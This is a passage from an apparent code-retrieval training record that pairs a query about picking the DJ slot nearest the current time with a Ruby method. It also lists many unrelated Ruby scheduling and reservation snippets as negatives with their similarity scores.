"0.5594981", "0.55908823", "0.5588996", "0.5584516", "0.5580389", "0.55796504", "0.55794007", "0.55754244", "0.55710906", "0.5570525", "0.55688685", "0.55666316", "0.5565548", "0.55634725", "0.5558343", "0.5557919", "0.5557866", "0.5555895", "0.55542874", "0.55542874", "0.5553797" ]
0.7298948
0
Selects the closest DJ slot to the current time should a user have more than one
def current_dj_slot dj_slots.order('created_at DESC').order("ABS(start_time - #{Time.now.to_i})").first end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def find_time_slot\n time_slot = check_club_times(next_user_time)\n\n if valid_tee_time?(time_slot)\n time_slot\n else\n go_to_next_day(time_slot)\n end\n end", "def best_time(event)\n registrant_best_times.find_by(event: event) || registrant_choices.joins(:event_choice).merge(EventChoice.where(cell_type: \"best_time\", event: event)).first\n end", "def time_to_select\n selected_at - search.created_at\n end", "def slot_time\n 0\n end", "def must_choose_at_least_one_time\n \tif compact_times_available.size <= 0\n \t\tself.errors[:base] << \"Must choose at least one time slot\"\n \tend\n end", "def find_player(opendota_slot)\n opendota_slot = opendota_slot.to_i\n\n if opendota_slot > 4\n dire.players.find_by(slot: opendota_slot - 127)\n else\n radiant.players.find_by(slot: opendota_slot + 1)\n end\n end", "def min() time[1] end", "def min_available_talks_time_in_a_day\n 6*60\n end", "def select_timeout\n if @time_events.any?\n nearest = nearest_time_event\n now = (Time.now.to_f * 1000).truncate\n if nearest.process_at < now\n 0\n else\n (nearest.process_at - now) / 1000.0\n end\n else\n 0\n end\n end", "def set_day_time_slot_for_non_selected\n if is_friday == true\n self.day2 = 0\n self.time_slot2 = 0\n elsif is_friday != true \n self.is_friday = false\n self.time_slot = 0\n end \n end", "def nearest_time_event\n now = (Time.now.to_f * 1000).truncate\n nearest = nil\n @time_events.each do |time_event|\n if nearest.nil?\n nearest = time_event\n elsif time_event.process_at < nearest.process_at\n nearest = time_event\n else\n next\n end\n end\n \n nearest\n end", "def next_closest_time(time)\n store = Array.new(9)\n past = []\n\n time.split('').each do |num| \n if (num.ord >= 48 && num.ord <= 57)\n store[num.to_i] = true \n past.push(num.to_i)\n end\n end\n\n future = past\n place = 3\n until (place == -1)\n limit = find_limit(place, past[place])\n if next_greatest(store, past[place], limit)\n if place == 1 && next_greatest(store, past[place], limit) >= 5 && future[0] == 2\n next_num = next_greatest(store, 0, 2)\n future[0] = next_num\n future[1] = next_num\n else \n future[place] = next_greatest(store, past[place], limit)\n end\n break\n else\n future[place] = lowest(store)\n place -= 1\n end\n end\n\n future[0..1].join(\"\").to_s + \":\" + future[2..3].join(\"\").to_s\nend", "def select_driver_with_earliest_end_of_trip(only_available)\n earliest_end_time = Time.now\n right_driver = nil\n\n only_available.each do |sub_array|\n\n return right_driver = sub_array[0] if sub_array[1] == nil\n\n if\n sub_array[1].end_time < earliest_end_time\n earliest_end_time = sub_array[1].end_time\n right_driver = sub_array[0]\n end\n end\n return right_driver\n end", "def next_time_slots\n\t\ttime_slot_array = self.timeslots\n\t\ttime_slot_array.drop_while do |x|\n\t\t\tx[0].split(\"-\")[0].to_time < Time.now\n\t\tend\n\tend", "def open_slots_for_select(date)\n open_slots(date).map do |slot|\n [\"#{slot.starts_at.strftime('%d/%m/%Y, %H:%M ')}\", slot.starts_at]\n end\n end", "def matching_start_time(finish_time)\n start_times.select { |t| t < finish_time }.sort.max\n end", "def minimum_participants(min=2)\n select { |timeslot, participants|\n participants.count >= min\n }\n end", "def next_clean_time(addr) \n #Figure out side of the street\n side = self.get_side(addr) \n \n #Find all blocks that match Street Address \n all_blocks = self.blocks\n blocks = all_blocks.where(\"side = ? AND bottom <= ? AND top >= ?\", side, addr, addr)\n if blocks == []\n return nil\n else \n #Compute the next cleaning times for the block and pick the smallest(i.e. the soonest) time\n cts = Array.new\n blocks.each{|x|cts << x.ct.next_time}\n best = cts.min\n return best, blocks[0].id\n end\n end", "def restaurant_time_select\n\t\ttimes = (0..23).map { |hour| [formatted_time(hour), hour] }\n\tend", "def compute_best_distance sec\n min_improper,sec_improper=(min_proper,sec_proper=sec.divmod(60))\n if min_improper>0 and sec_improper<40\n min_improper-=1\n sec_improper+=60\n else\n #the improper time will be the same as the proper time, which\n #isn't a problem\n end\n proper=make_array(min_proper,sec_proper)\n improper=make_array(min_improper,sec_improper)\n [[\n compute_dist(proper,Primary),\n compute_dist(proper,Tiebreaker),\n proper\n ],[\n compute_dist(improper,Primary),\n compute_dist(improper,Tiebreaker),\n improper\n ]].sort[0][-1].join\nend", "def available_time_slot date_of_booking\n\t\tif date_of_booking.gsub(/[-]+/,\"\").to_i != Time.zone.now.strftime(\"%Y%m%d\").to_i\n\t\t\tresource_slot = self.timeslots\n\t\t\tif self.bookings.where(date_of_booking:date_of_booking).where(status:1)\n\t\t\t\tbookings_of_day = self.bookings.where(date_of_booking: date_of_booking).where(status:1)\n\t\t\t\tbookings_of_day.each do |x|\n\t\t\t\t\tresource_slot.delete_at(x.slot)\n\t\t\t\tend\n\t\t\tend\n\t\telse\n\t\t\tresource_slot = next_time_slots\n\t\tend\n\t\tresource_slot\n\tend", "def get_next_player(start)\n for i in 1..10\n to_check = (start + i)%10 + 10\n if self.players.where(:location => to_check).length == 1\n player = self.players.where(:location => to_check)[0]\n if player.in_hand\n return player.location\n end\n end\n end\n return -10\n end", "def place\n if !self.start_time\n self.move(self.start_bound)\n self.save\n end\n conflicts = users_events.select{|e| e.start_time < self.end_bound && e.end_time > self.start_bound}.sort{|a,b| a.start_time <=> b.start_time}\n conflicts -= [self]\n if conflicts.empty?\n return move(self.start_bound)\n end\n if to_min(conflicts.first.start_time) - to_min(self.start_bound) >= to_min(self.duration)\n return move(self.start_bound)\n end\n\n (0...conflicts.length).each do |i|\n if i != conflicts.length - 1\n if to_min(conflicts[i+1].start_time) - to_min(conflicts[i].end_time) >= to_min(self.duration)\n return move(conflicts[i].end_time)\n end\n else\n if to_min(self.end_bound) - to_min(conflicts[i].end_time) >= to_min(self.duration)\n return move(conflicts[i].end_time)\n end\n end\n end\n return move(self.start_bound)\n end", "def pick_best_day(optimized, days)\n\tbuy_day = 0\n\tsell_day = 0\n\tprofit = 0\n\tdays.each do |day|\n\t\tdaily_profit = days[optimized[days.index day]] - day\n\t\tif daily_profit > profit\n\t\t\tprofit = daily_profit\n\t\t\tbuy_day = days.index day\n\t\t\tsell_day = optimized[days.index day]\n\t\tend\n\tend\n\t[buy_day, sell_day]\nend", "def best_day\n\n end", "def valid_slot\n Slots::Slot.new(from: booking_slots.constraints.series.find{ |slot| slot.in_the_future?}, constraints: booking_slots.constraints)\n end", "def set_best_of_day\n @best_of_day = BestOfDay.find(params[:id])\n end", "def whose_turn\n self.advance_turn unless self.active_slot\n game_players.joins(:slot).joins(:game).where('games.active_slot = slots.sequence').first.player\n end", "def valid_solution2 co_support\n # Randomgenerator\n rnd = Random.new\n\n # current plan to slove\n plan = SemesterPlan.find(params[:id])\n\n # prioritys for slots and user\n # sorts slots by user availability\n # sorts user by slot availibiluity\n slot_priority_origin = plan.get_slot_priority\n user_priority_origin = plan.get_user_priority\n\n\n # empty slots to empty solution_slots at each itteration begin\n empty_slots = []\n if co_support\n empty_slots = eval(plan.solution)\n else\n 20.times do |n|\n empty_slots << {index: n, user: nil, co: nil, slot: nil}\n end\n end\n\n # break variable\n done = false\n\n # availabilty which will be max accepted\n if co_support\n availability = 2\n else\n availability = 1\n end\n\n # saves itterations\n i = 0\n\n # iteration border for availibility to increase to 2\n i_av_2 = 400\n\n # iteration_border for interrupt\n i_max = 800\n\n # saves the solution\n solution_slots = []\n\n # until all slots are valid taken\n start = Time.now\n begin\n # counter for open slots\n slots = 20\n\n # clear solution\n solution_slots = empty_slots.clone\n\n # clone prioritys and shift-plans\n slot_priority = slot_priority_origin.clone\n user_priority = user_priority_origin.clone\n shifts = User.supporter_amount_of_shifts(20, User.where(planable: true, inactive: false))\n\n # set break variable to false\n done = false\n\n # repeat until plan invalid or complete plan valid\n while slot_priority.length != 0 && !done\n\n # random wheel for all slot prioritys\n roulette = calc_roulette slot_priority\n\n\n # random float\n random = rnd.rand\n slot = nil\n\n # take random slot\n roulette.each do |roul|\n if roul[:value] > random\n slot = slot_priority[roul[:index]]\n break\n end\n end\n\n # saves the found user\n found_user = nil\n # return all user with given availbility in current slot\n users = TimeSlot.find(slot[:slot]).get_users availability\n\n # if at least 1 user found\n if users.length != 0\n\n # break conditions\n found = false\n nothing = true\n\n # tests all slots\n user_priority.each do |pr_user|\n if !found\n\n # tests all available users\n users.each do |slot_user|\n\n # if user is found and in earlier iterations no user was found for this slot\n if (pr_user[:user] == slot_user && !found) &&(co_support && solution_slots.detect {|s| s[:index] == slot[:index]}[:user] !=slot_user || !co_support)\n\n\n # saves user for slot\n if co_support\n solution_slots.detect {|s| s[:index] == slot[:index]}[:co] = slot_user\n solution_slots.detect {|s| s[:index] == slot[:index]}[:slot] = slot[:slot]\n else\n solution_slots.detect {|s| s[:index] == slot[:index]}[:user] = slot_user\n solution_slots.detect {|s| s[:index] == slot[:index]}[:slot] = slot[:slot]\n end\n\n\n\n # set\n found = true\n found_user = pr_user\n\n # update shifts\n shifts = User.reduce_shifts found_user[:user], shifts\n\n # remove user from slot_priority and delete user from user_priority\n # if all shifts are given\n shifts.each do |s|\n if s[:user] == found_user[:user]\n if s[:shifts] == 0\n slot_priority = SemesterPlan.kill_user_in_slot_priority found_user[:user], slot_priority\n user_priority.delete(found_user)\n end\n end\n end\n\n # delete slot and sort\n slot_priority.delete(slot)\n slot_priority.sort_by! {|item|\n item[:priority] * -1\n }\n # removes slot from user_priority and sort\n user_priority = SemesterPlan.kill_slot_in_user_priority slot[:slot], user_priority\n user_priority.sort_by! {|item|\n item[:priority] * -1\n }\n\n # decrement slots and set nothing to false for next iteration\n slots -= 1\n nothing = false\n break\n end\n end\n end\n end\n\n # break if no slot was found\n if nothing == true\n done = true\n end\n # break if no user was found\n else\n done = true\n end\n end\n # break if iteration max is reached\n if Time.now - start > 10\n done = true\n\n # increment aǘailbility\n elsif Time.now - start > 2\n if availability != 2\n availability = 2\n else\n #availability = 1\n end\n end\n\n # increment iteration\n i += 1\n end while slots > 0 && Time.now - start <=10\n\n # update solution and return it additionally (r)\n solution_slots\n\n end", "def earliest_interview_timeblock_start\n interview_timeblocks.find(:first, :order => 'start_time').start_time\n end", "def open_slots(date)\n time = date.to_time\n \n slots = []\n prev_time = time - 30.minutes\n loop do\n start_time = prev_time + 30.minutes\n \n if start_time.to_date == date\n slots << Slot.new(starts_at: start_time, cat: self)\n prev_time = start_time\n else\n break\n end\n end\n \n # Remove taken/past timeframes\n slots.reject do |slot|\n Reservation.exists?(cat: self, starts_at: slot.starts_at) || slot.starts_at.past?\n end\n end", "def find_closest!\n 1000.times { @particles.values.map(&:tick) }\n closest = @particles.values.min { |p1, p2| p1.manhattan_distance <=> p2.manhattan_distance }\n end", "def closest_point(time)\n segment = segments.select { |s| s.contains_time?(time) }\n segment.first\n end", "def cook_time_prompts\n print \"Please provide cooking time desired: \"\n ##TODO Error here if given time is not in the data base\n lowest_cook_time = $default_recipe.recipe_name_and_cooktime.values.sort.first\n cooking_time = gets.chomp.to_i\n raise InvalidCookingTimeError if cooking_time == 0\n raise NotInDatabaseError if cooking_time < lowest_cook_time\n search_by_cooking_time(cooking_time)\nend", "def picker_minimum_date_time\n res = query(\"datePicker\", :minimumDate)\n screenshot_and_raise \"expected to see a date picker\" if res.empty?\n res.first != nil ? DateTime.parse(res.first) : nil\nend", "def findMinimumTimeDiff()\n pre = nil ;\n diff = nil ;\n @timeNameTable.values.sort.each{|time|\n if(pre.nil?) then\n pre = time ;\n else\n d = time - pre ;\n if(diff.nil? || diff > d) then\n diff = d ;\n end\n end\n }\n return diff ;\n end", "def find_reservation_by_timeslot(timeslot, existing_reservations)\n t_next = timeslot + 30.minutes #next iteration's time\n timeslot = timeslot\n\n # Get existing reservations in this room from previously queried elasticsearch result\n room_reservations = existing_reservations.find {|r| r[id.to_i]}\n unless room_reservations.blank?\n # Return a has with the reservation information if it is found in the collection of reservations for this room in this timeslot\n reservation = room_reservations[id.to_i].find {|r| (r._source.start_dt.to_datetime >= timeslot and r._source.end_dt.to_datetime <= t_next) or (r._source.start_dt.to_datetime <= timeslot and r._source.end_dt.to_datetime >= t_next) }\n return reservation\n end\n\n end", "def min_out\n @min_out ||= time_out.min\n end", "def find_start(id, from)\n from= to_epoch(from)\n node = $devices[id].head\n while node.next do\n return node if node.value >= from\n node = node.next\n end\n return nil #from time not in list\nend", "def ask_time\n # twelve\n end", "def determine_best_delivery_time(time, program_player, player_budge)\n days_late = player_budge.days_late\n days_late = 0 if days_late < 0 # If it's scheduled for the future, for instance\n begin_window = player_budge.day_starts_at + days_late.days\n \n # Choose a random hour between auto_message.hour and auto_message.delivery_window\n if time == :best\n start_window = begin_window + self.hour.hours\n end_window = start_window + self.delivery_window.hours\n \n times = Array.new\n while (start_window <= end_window) \n times << start_window\n start_window += 1.hour\n end\n\n return times[rand(times.size)]\n \n # Go with their hard-coded time\n else\n return begin_window + time.hours\n end \n end", "def find_min\n loc = find_min_locator and loc.value\n end", "def find_start_time_and_venue(availability, have_created_venue=false)\n availability.timeslots.each do |timeslot|\n reservation = find_venue_for_timeslot(availability, timeslot)\n return reservation if reservation.present?\n end\n\n # If we reach here, we failed to find an appropriate timeslot.\n if have_created_venue\n # This should be impossible, but just in case it somehow happens ...\n raise \"Unable to allocate form for #{availability.project.name}\"\n else\n create_venue\n find_start_time_and_venue(availability, have_created_venue=true)\n end\n end", "def rr_for_same_day?\n # find date of reservation as comparable object\n reservation_day = @start_dt.strftime('%Y%m%d').to_i\n # or if they made a reservation for the selected day already\n @rr_for_same_day = Reservation.active_non_blocks.where(\"user_id = ? AND DATE_FORMAT(start_dt,'%Y%m%d') = ?\", @user.id, reservation_day)\n return false if @rr_for_same_day.blank? || @user.user_attributes[:room_reserve_admin]\n return true\n end", "def min_refuel array_of_gas_station, total_distance, l_km\r\n\tt1 = Time.now\r\n\ttotal_refuel = 0\r\n\trefueld_at = []\r\n\tcan_travel = l_km\r\n\tflag = \"yes\"\r\n\tarray_of_gas_station.each_with_index do |arr,index|\r\n\t\tif arr > can_travel\r\n\t\t\tcan_travel += l_km\r\n\t\t\ttotal_refuel += 1\r\n\t\t\trefueld_at << (index-1)\r\n\t\telsif arr == can_travel\r\n\t\t\tcan_travel += l_km\r\n\t\t\ttotal_refuel += 1\r\n\t\t\trefueld_at << index\r\n\t\tend\r\n\tend\r\n\trefueld_at.each_with_index do |arr, i|\r\n\t\tif refueld_at[i] == refueld_at[i+1] || refueld_at[i] < 0\r\n\t\t\tflag = \"no\"\r\n\t\tend\r\n\tend\r\n\tif flag.eql? \"yes\"\r\n\t\tt2 = Time.now\r\n\t\tp \"total refuel : #{total_refuel}\"\r\n\t\tp \"refueled at : #{refueld_at}\"\r\n\t\tp \"Time taken : #{t2 - t1}\"\r\n\telse\r\n\t\tt2 = Time.now\r\n\t\tp \"can't travel\"\r\n\t\tp \"Time taken : #{t2 - t1}\"\r\n\tend\r\nend", "def time_slots\n\n # you can book by the hour, and you can stay for an hour\n reservation_interval = 1.hour\n\n # Determine the earliest time we will allow reservation\n # It can't be in the past, we'll start 10 minutes from now\n start_time = Time.zone.now + 10.minutes\n # Then we have to round to the next hour block\n start_time = Time.zone.at( (start_time.to_f / reservation_interval).ceil * reservation_interval )\n # Then, if we are still earlier than opening hour, just use the opening hour\n # We can use the 'max' Array method\n start_time = [start_time, start_time.change(hour: opening_hour)].max\n\n # Determine the furthest in the future we will allow reservations\n end_time = (start_time + 3.days).change(hour: closing_hour)\n\n # Now, we want to make a list of every hour between our start_time and our end_time\n # For this we can use a begin... end while condition loop.\n # We'll start with an empty array that will hold all the hours,\n # and a variable to hold each hour, which we will keep increasing by 1 hour, and then add to our array\n # Our loop condition will have us stop looping once we've reached the end time\n\n all_times = []\n a_time = start_time\n\n begin\n\n # add this time to our list of times\n all_times << a_time\n\n # increment the time\n a_time += reservation_interval\n\n # Once we get to closing time, we have to skip ahead to the next day's opening\n # That way you can't make a reservation at 2am\n if (a_time + reservation_interval) > a_time.change(hour: closing_hour)\n a_time = (a_time + 1.day).change(hour:opening_hour)\n end\n\n end while a_time < end_time\n\n all_times\n end", "def closest_ep(start_at)\n EventPositioning.find(:first, :conditions =>[\"start_at <= ? and hep = ?\", start_at, hep], :order => \"start_at DESC\").try(:id)\n end", "def copytermweeksedit\n @slotwpofirst = Slot.where.not(wpo: nil).order(:timeslot).first\n @slotwpolast = Slot.where.not(wpo: nil).order(:timeslot).last\nend", "def choose_next_waypoint(current_waypoint, destination, min_search_radius, max_search_radius)\n current_waypoint.find_potential_next_waypoints(destination, min_search_radius, max_search_radius).sample\n end", "def player_seat(user_id)\n if east == user_id \n return :east\n elsif south == user_id \n return :south\n elsif west == user_id\n return :west\n else\n raise RuntimeError, \"User : #{user_id} not in game #{@id}\"\n end\n end", "def init_availability_based_on_general_availability\n\n # Selects all the possible slots\n Time.zone = 'UTC'\n\n from = Time.zone.parse(hour_from.to_s)\n to = Time.zone.parse(hour_to.to_s)\n\n selected_slots = Slot.where(\"EXTRACT(dow FROM start) IN (#{day}) AND ((EXTRACT(hour FROM start) = #{from.hour} AND EXTRACT(minute FROM start) >= #{from.min}) OR (EXTRACT(hour FROM start) > #{from.hour} AND EXTRACT(hour FROM start) < #{to.hour}) OR (EXTRACT(hour FROM start) = #{to.hour} AND EXTRACT(minute FROM start) < #{to.min}))\")\n\n puts \"Start: #{selected_slots.first.id} - #{selected_slots.first.start}\"\n\n inserts = []\n selected_slots.each do |s|\n inserts.push \"(#{doctor_id}, #{s.id}, #{id}, now(), now())\"\n end \n\n sql = \"INSERT INTO availabilities (\\\"doctor_id\\\", \\\"slot_id\\\", \\\"availability_general_id\\\", \\\"created_at\\\", \\\"updated_at\\\") VALUES #{inserts.join(\", \")}\"\n ActiveRecord::Base.connection.execute sql\n #Time.zone = 'UTC'\n puts \"Hours from #{from.hour} to #{to.hour}\"\n end", "def start_time(time)\n if time < time.set_time_to( @opening_time )\n time.set_time_to( @opening_time )\n else\n time\n end\n end", "def move?(e)\n return false if self.static?\n conflicts = users_events.select{|e| e.start_time < self.end_bound && e.end_time > self.start_bound}.sort{|a,b| a.start_time <=> b.start_time}\n\n if !conflicts.include?(e)\n conflicts << e\n conflicts = conflicts.sort{|a,b| a.start_time <=> b.start_time}\n end\n \n conflicts -= [self]\n if to_min(self.start_bound) - to_min(conflicts.first.start_time) >= to_min(self.duration)\n return self.start_bound\n end\n\n (0...conflicts.length).each do |i|\n if i != conflicts.length - 1\n if to_min(conflicts[i+1].start_time) - to_min(conflicts[i].end_time) >= to_min(self.duration)\n return conflicts[i].end_time\n end\n else\n if to_min(self.end_bound) - to_min(conflicts[i].end_time) >= to_min(self.duration)\n return conflicts[i].end_time\n end\n end\n end\n\n return false\n end", "def last_workout_with_km_calories\n set_sport_by_user.last.try(:distance) || 0\n end", "def min_day\n 1\n end", "def weight_at(time)\n weight_entries = self.tracker_entries.joins(:tracker).where(\"trackers.name = ?\", \"weight\")\n closest_in_past = weight_entries.where(\"logged_on < ?\", time.utc).order(:logged_on).last\n \n if closest_in_past\n closest_in_past.quantity\n end\n end", "def closest(date)\n return nil if !@days_of_week || @days_of_week.empty?\n goal = date\n while goal += IceCube::ONE_DAY\n return self.class.adjust(goal, date) if validate(goal)\n end\n end", "def min\n @min ||= time_parts[1]\n end", "def stay_min?(index:)\n\t\t\treturn false if minstay[index].nil?\n\t\t\treturn self.is_avail?(start_in: index,end_in: index+@minstay[index])\n\t\tend", "def first_departure_time(list, time)\n\n trains_at_11 = list.select do |trains|\n trains[:departure] == time\n end\n\n trains_at_11.map! do |train|\n train[:train]\n end\nend", "def mask_for_time_slots\n offset = (ends_at.next_day.beginning_of_day - ends_at) / APPOINTMENT_INTERVAL\n slots_number = (ends_at - starts_at) / APPOINTMENT_INTERVAL\n ('1' * slots_number).to_i(2) << offset\n end", "def selectDate(driver, date, container)\n #puts 'in selectdate'\n sleep(1)\n AccountAssignmentFromLead.getElementByAttribute(@driver, :tag_name, 'input', 'placeholder', 'Select Tour Date').click\n\n @wait = Selenium::WebDriver::Wait.new(:timeout => @timeSettingMap['Wait']['Environment']['Lightening']['Max'])\n\n #puts date\n #puts Date::MONTHNAMES[date.month]\n sleep(2)\n #puts \"month in calender\"\n #puts driver.find_elements(:id, 'month')[0].text\n #puts driver.find_elements(:id, 'month')[0].size\n @wait.until {driver.find_element(:id, 'month')}\n if Date::MONTHNAMES[date.month] != driver.find_elements(:id, 'month')[0].text then\n #puts \"month not match\"\n #sleep(5)\n @driver.find_element(:css, \"lightning-icon.slds-icon-utility-right.slds-icon_container > lightning-primitive-icon > svg.slds-icon.slds-icon-text-default.slds-icon_xx-small > use\").click\n #AccountAssignmentFromLead.getElementByAttribute(@driver, :tag_name, 'button', 'text', 'Next Month')[1].click\n end\n @wait.until {container.find_element(:id, date.to_s)}\n container.find_element(:id, date.to_s).click\n #puts 'date selected'\n sleep(2)\n if driver.find_elements(:tag_name, \"h2\")[0].text.eql? \"No times slots available for the selected date\" then\n puts \"error ------ No Time Slots------\"\n #EnziUIUtility.wait(driver, :class, \"slds-icon--small\", @timeSettingMap['Wait']['Environment']['Lightening']['Min'])\n AccountAssignmentFromLead.getElementByAttribute(@driver, :tag_name, 'button', 'title', 'Close').click\n #driver.find_elements(:class, \"slds-icon--small\")[1].click\n return false\n else\n puts 'no error'\n return true\n end\n end", "def key_for_min_value(name_hash)\n smallest = 0 #define state?\n winner = \"\"\n first_time = true\n if name_hash.empty? #test if empty\n winner = nil\n else\n name_hash.each do |name, points| #find smallest value\n if points < smallest || first_time #is this name the smallest?\n first_time = false\n smallest = points #set new low score\n winner = name #set new winner\n end\n end\n end\n winner\nend", "def select_time(time, options)\n time = Time.zone.parse(time)\n base_dom_id = get_base_dom_id_from_label_tag(options[:from])\n\n find(:xpath, \".//select[@id='#{base_dom_id}_4i']\").select(time.hour.to_s.rjust(2, '0'))\n find(:xpath, \".//select[@id='#{base_dom_id}_5i']\").select(time.min.to_s.rjust(2, '0'))\n end", "def create_loc_time\n is_available = false\n while !is_available\n loc = user_choice_of_object_in_class(Location)\n is_available = loc.has_available_time_slot?\n puts \"That theatre is fully booked. Try again.\" if !is_available\n end\n time = user_choice_of_object_in_class(TimeSlot)\n movie = user_choice_of_object_in_class(Movie)\n l = LocationTime.new(location_id: loc.id, timeslot_id: time.id, movie_id: movie.id)\n if l.saved_already?\n puts \"Sorry. That time slot is already booked. You can update it in the update menu or try again.\"\n else\n try_to_update_database {\n if l.save_record\n puts \"Saved to the database.\"\n else\n puts \"Not saved for the following reason(s):\"\n l.errors.each do |e|\n puts \"\\tError with #{e[:variable]}: #{e[:message]}\"\n end\n end\n }\n end\n loc_time_menu\n end", "def findNearestElevator(currentFloor, selectedList)\n bestElevator = selectedList[0]\n bestDistance = (selectedList[0].floor - currentFloor).abs #abs() returns the absolute value of a number (always positive).\n \n for elevator in selectedList\n if (elevator.floor - currentFloor).abs < bestDistance\n bestElevator = elevator\n end\n end\n \n puts \"\"\n puts \" >> >>> ELEVATOR #{bestElevator.id} WAS CALLED <<< <<\"\n return bestElevator\n end", "def select_players_for_slytherin(full_list_of_players, already_used_players)\nend", "def frog_jump(x, a)\n d = {}\n (1..x).each {|i| d[i] = true }\n\n min_time = -1\n len = a.length - 1\n\n (0..len).each do |sec|\n n = a[sec]\n d.delete(n) if d[n]\n if d.length == 0\n min_time = sec\n break\n end\n end\n\n return min_time\nend", "def select_hearing_time(time)\n find(\".cf-form-radio-option\", text: time).click\n end", "def time_to_solve\n self.kase && self.kase.time_to_solve ? self.kase.time_to_solve : 1.hour\n end", "def get_time_tutor_can_help\n start_time = self.student_requests.where(status:\"active\").first.start_time\n if(Time.now-start_time)/60>30 #if a tutor has been working longer than 30 min\n return Time.now.in_time_zone + 60*30\n end\n return start_time + 60*30\n end", "def pick_difficulty\n user_diff = $prompt.select(\"Pick a difficulty level\", [\"Easy\", \"Medium\", \"Hard\"])\n case user_diff\n when \"Easy\"\n $hide_speed = 3 \n $time_limit = 7\n when \"Medium\"\n $hide_speed = 2\n $time_limit = 6\n when \"Hard\"\n $hide_speed = 1.5\n $time_limit = 5\n end \n pre_game\nend", "def selection plan, solutions\n (sort_soluitons plan, solutions.shuffle.first(4)).first(2)\n end", "def nearest_driver(map,user)\n driver_pos=[]\n\n for i in 0..map.length-1\n for j in 0..map.length-1\n if map[i][j] == \" D \"\n driver_pos << [i,j]\n end\n end\n end\n @driver_pos=driver_pos\n\n nearest_driver_position = driver_pos[0]\n distance = driver_pos[0].zip(user).map { |x| x.reduce(:-).abs }.sum\n\n for i in 1..driver_pos.length-1\n temp = driver_pos[i].zip(user).map { |x| x.reduce(:-).abs }.sum\n if temp < distance\n distance = temp\n nearest_driver_position = driver_pos[i]\n end\n end\n nearest_driver_position\n end", "def set_slots_available\n updated_slots_available = Game.instance.team_size - users.count\n update(slots_available: updated_slots_available) unless updated_slots_available.eql? slots_available\n end", "def find_min_locator\n return nil if empty?\n use_min\n mode_call(:find_min_loc)\n end", "def calc_am_slow_start(user, target)\n VAL_0_5 if user.turn_count < 5\n end", "def best_timings\n @tab_title = I18n.t('radiography.best_timings_tab')\n\n if @swimmer.meeting_individual_results.exists?\n @best_finder = SwimmerPersonalBestFinder.new( @swimmer )\n @max_updated_at = find_last_updated_mir\n end\n end", "def nearest_index_at(time)\n return @index[time.to_i] if @index.key? time.to_i \n prev_i = -1\n i = data.find_index do |e| \n prev_i += 1\n e.timestamp > time.to_i\n end\n if i.nil?\n return prev_i unless prev_i < 0\n return nil\n elsif i.zero?\n return nil\n end\n i-1\n end", "def closest_available_date(date)\n closest = date.to_date\n 5.times do\n if @euro.key?(closest.to_s)\n unless closest == date || @silence_warnings\n warn \"Foreign exchange reference rate for #{date.to_s} \" \\\n \"is not available, using rate for #{closest.to_s}.\"\n end\n return closest\n end\n closest = closest - 1\n end\n raise MissingDateError.new(date)\n end", "def plan\n calculate_scores_and_attendabilities\n \n highest_attendability_value = @attendabilities.sort {|a,b| a[1] <=> b[1]}.reverse[0][1]\n best_attendabilities = @attendabilities.to_a.select {|a| (a[1] == highest_attendability_value)}\n pairs_with_best_attendabilities = best_attendabilities.collect {|b| b[0]}\n best_scores = @scores.to_a.select {|s| pairs_with_best_attendabilities.include?(s[0])}.sort {|a,b| a[1] <=> b[1]}.reverse\n \n produce_roster(:monday, best_scores[0][0][0])\n produce_roster(:wednesday, best_scores[0][0][1])\n end", "def driving (hour, total_time_of_journey)\nif hour >= total_time_of_journey\nreturn 'no one'\nend\n\nif hour % 2 == 0\nreturn @friends[1]\nelse\nreturn @friends[0]\nend\nend", "def update_selected \n #no select when exiting\n if @battle_exiting\n @selected = nil\n \n #fast update if @cursor didn't change position\n elsif @selected.nil? or not @selected.at_xy_coord(@cursor.x, @cursor.y) \n @selected = nil\n battler = $game_map.occupied_by?(@cursor.x, @cursor.y)\n if battler != nil\n #for battler in tactics_all\n # next if battler.nil? \n # if battler.at_xy_coord(@cursor.x, @cursor.y)\n @selected = battler\n @windows[Win_Status].update(battler)\n #Modified to be hard coded to top right checking. \n mx = Graphics.width - @windows[Win_Status].width\n mw = Graphics.width\n my = 0\n mv = @windows[Win_Status].height\n if @spriteset.cursor.x.between?(mx, mw) && @spriteset.cursor.y.between?(my,mv)\n @windows[Win_Status].move_to(3); #lower right\n else\n @windows[Win_Status].move_to(9); #upper right // Default\n end\n return\n # end\n end \n end\n end", "def verify_availabilities(users, start_day, finish_day, start_hour = Time.parse(\"00:00\"),\n finish_hour = Time.parse(\"23:59\"), slots_size = SocialFramework.slots_size)\n\n return unless finish_day_ok? start_day, finish_day\n\n @slots_size = slots_size\n start_time = start_day.to_datetime + start_hour.seconds_since_midnight.seconds\n finish_time = finish_day.to_datetime + finish_hour.seconds_since_midnight.seconds\n\n build_users(users)\n build_slots(start_time, finish_time, start_hour, finish_hour)\n\n unless @fixed_users.empty?\n build_edges(@fixed_users, start_time, finish_time)\n\n @slots.select! { |slot| slot.edges.count == @fixed_users.count }\n end\n\n build_edges(@users, start_time, finish_time)\n\n @slots.sort_by! { |slot| -slot.attributes[:gained_weight] }\n end", "def start_time(ride)\n return nil unless ride.points.any?\n ride.points.first.time\n end", "def get_next_player\n crnt_plyr_indx = @game.user.index(@game.whoseTurn)\n temp_usr_array = @game.user.rotate(crnt_plyr_indx)\n if(@game.clockwise) then\n return User.find(temp_usr_array[1])\n else\n return User.find(temp_usr_array[-1])\n end\n end", "def find_best_move(brd)\n\n # Shortcircuit first move so 5 is always choosen\n return 5 if empty_squares(brd).count == 9\n\n\n best_val = -INFINITY\n best_move = nil\n\n brd.each do |cell, status|\n if status == INITIAL_MARKER\n brd[cell] = COMPUTER_MARKER\n move_val = minimax(brd, 0, 'player')\n brd[cell] = INITIAL_MARKER\n if move_val > best_val\n best_val = move_val\n best_move = cell\n end\n end\n end\n return best_move\n end", "def lead_time\n 4\n end", "def find_suitable_adapter_for(joltage)\n # Create a range of suitable adapters that would work\n suitable_range = (joltage..joltage + 3).to_a\n\n # Look in the bag for adapters we have and see if any of them match our suitable range\n suitable_range.each do |searching_joltage|\n suitable_adapter = @adapters.find { |n| n[:rating] == searching_joltage && !n[:has_been_used] }\n\n if suitable_adapter\n # Find difference between joltage and suitable adapter\n joltage_difference = suitable_adapter[:rating] - joltage\n\n # We've used this now...\n suitable_adapter[:has_been_used] = true\n\n puts suitable_adapter\n # Keep track of difference\n @difference << joltage_difference\n return suitable_adapter[:rating]\n else\n next\n end\n end\nend", "def result_at(time_or_index, slot)\n begin\n case time_or_index\n when Time then 